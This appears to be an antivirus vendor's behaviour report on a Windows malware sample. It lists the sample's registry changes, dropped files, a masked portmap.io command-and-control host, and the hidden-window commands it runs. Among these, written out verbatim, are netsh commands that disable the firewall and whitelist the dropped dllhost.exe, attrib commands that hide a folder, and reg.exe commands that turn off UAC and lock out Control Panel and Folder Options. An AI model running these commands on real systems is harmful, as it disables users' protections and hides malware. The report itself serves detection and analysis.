Technical Information
To ensure autorun and distribution
Sets the following service settings
- [HKLM\System\CurrentControlSet\Services\IKEEXT] 'Start' = '00000002'
Malicious functions
To complicate detection of its presence in the operating system,
blocks execution of the following system utilities:
- Command Prompt (CMD)
- Windows Task Manager (Taskmgr)
- Registry Editor (RegEdit)
modifies the following system settings:
- [HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer] 'NoRun' = '00000001'
Executes the following
- '<SYSTEM32>\netsh.exe' firewall add allowedprogram "%TEMP%\InstallDir\Dllhost.exe" "Dllhost.exe" ENABLE
- '<SYSTEM32>\netsh.exe' firewall set opmode disable
Modifies file system
Creates the following files
- %TEMP%\installdir\dllhost.exe
Network activity
Connects to
- 'lo######70-50360.portmap.io':50360
UDP
- DNS ASK lo######70-50360.portmap.io
- 'localhost':51170
- 'localhost':60335
Miscellaneous
Searches for the following windows
- ClassName: 'Shell_traywnd' WindowName: ''
Creates and executes the following
- '%TEMP%\installdir\dllhost.exe'
- '<SYSTEM32>\cmd.exe' /C attrib +s +h "%TEMP%\InstallDir"' (with hidden window)
- '<SYSTEM32>\netsh.exe' firewall add allowedprogram "%TEMP%\InstallDir\Dllhost.exe" "Dllhost.exe" ENABLE' (with hidden window)
- '<SYSTEM32>\cmd.exe' /k <SYSTEM32>\reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWORD /d 0 /f' (with hidden window)
- '<SYSTEM32>\reg.exe' add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoControlPanel /t REG_DWORD /d 1 /f' (with hidden window)
- '<SYSTEM32>\reg.exe' add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoFolderOptions /t REG_DWORD /d 1 /f' (with hidden window)
- '<SYSTEM32>\reg.exe' add HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoViewContextMenu /t REG_DWORD /d 1 /f' (with hidden window)
- '<SYSTEM32>\reg.exe' add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoViewContextMenu /t REG_DWORD /d 1 /f' (with hidden window)
- '<SYSTEM32>\netsh.exe' firewall set opmode disable' (with hidden window)
Executes the following
- '<SYSTEM32>\cmd.exe' /C attrib +s +h "%TEMP%\InstallDir"
- '<SYSTEM32>\attrib.exe' +s +h "%TEMP%\InstallDir"
- '<SYSTEM32>\cmd.exe' /k <SYSTEM32>\reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWORD /d 0 /f
- '<SYSTEM32>\reg.exe' add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoControlPanel /t REG_DWORD /d 1 /f
- '<SYSTEM32>\reg.exe' add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoFolderOptions /t REG_DWORD /d 1 /f
- '<SYSTEM32>\reg.exe' add HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoViewContextMenu /t REG_DWORD /d 1 /f
- '<SYSTEM32>\reg.exe' add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoViewContextMenu /t REG_DWORD /d 1 /f
